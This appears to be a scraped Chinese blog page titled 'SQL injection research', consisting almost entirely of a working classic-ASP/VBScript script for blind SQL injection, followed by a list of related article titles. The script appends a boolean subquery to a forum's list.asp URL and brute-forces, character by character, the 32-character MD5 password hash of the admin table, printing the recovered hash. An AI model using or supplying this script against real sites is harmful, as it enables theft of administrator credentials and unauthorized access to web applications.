SQL注入研究
来源:互联网 发布:ubuntu py文件 编辑:程序博客网 时间:2024/05/22 09:03
Function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
function getHTTPPage(url)
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function
Function RegExpTest(patrn, strng)
Dim regEx, retVal ' 建立变量。
Set regEx = New RegExp ' 建立正则表达式。
regEx.Pattern = patrn ' 设置模式。
regEx.IgnoreCase = False ' 设置是否区分大小写。
RegExpTest = regEx.Test(strng) ' 执行搜索测试。
End Function
password=""
keyword="论坛首页"'返回正确页面会出现的字符串
url1="http://qq/bbs/list.asp?boardid=7"'SQL注入入口
passlen=32'MD5密码通常是32位
dim pass
pass=array(48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102)'密码值通常是0-9,a-f
server.ScriptTimeout=999
for i=1 to passlen
flag=false
url=url1&" and (select asc(mid(password,"&i&",1)) from admin where id>0)="'构造的SQL语句这里才是关键
for j=0 to ubound(pass)
str=getHTTPPage(url&pass(j))
flag=RegExpTest(keyword,str)
if flag=true then
password=password&chr(pass(j))
exit for
end if
next
next
response.Write(password)
- SQL注入研究
- SQL注入研究[转]
- SQL注入研究
- SQL注入研究
- SQL注入攻击研究
- mybatis的SQL注入研究
- 深入研究数据访问:什么是SQL注入
- 深入研究数据访问:什么是SQL注入
- 深入研究数据访问:什么是SQL注入
- 深入浅出MYSQL研究--SQL注入防范
- 对于防止SQL注入的研究(JAVA代码实现)
- discuz 7.2 faq.php sql注入的一点研究
- 关于Java防SQL注入的方法研究
- SQL注入--GET注入
- 注入攻击--SQL注入
- 【sql注入】mysql注入
- 托管注入深入研究
- Android防注入研究
- 四种I P广播地址详谈
- 持续集成
- 求助
- 无刷新聊天室(短信陪聊程序)
- 30岁你是否想过?(送给那些未到30岁的年轻人)
- SQL注入研究
- 职业生涯自我规划五步法
- 一篇著名的Linux C语言编程初级入门文章
- ASP中生成静态页面技术
- 特殊的IP地址介绍
- FSO操作示例
- gcc参数笔记
- 在 Web 页面中使用图表(chart)表现数据
- 在网页中控制wmplayer播放器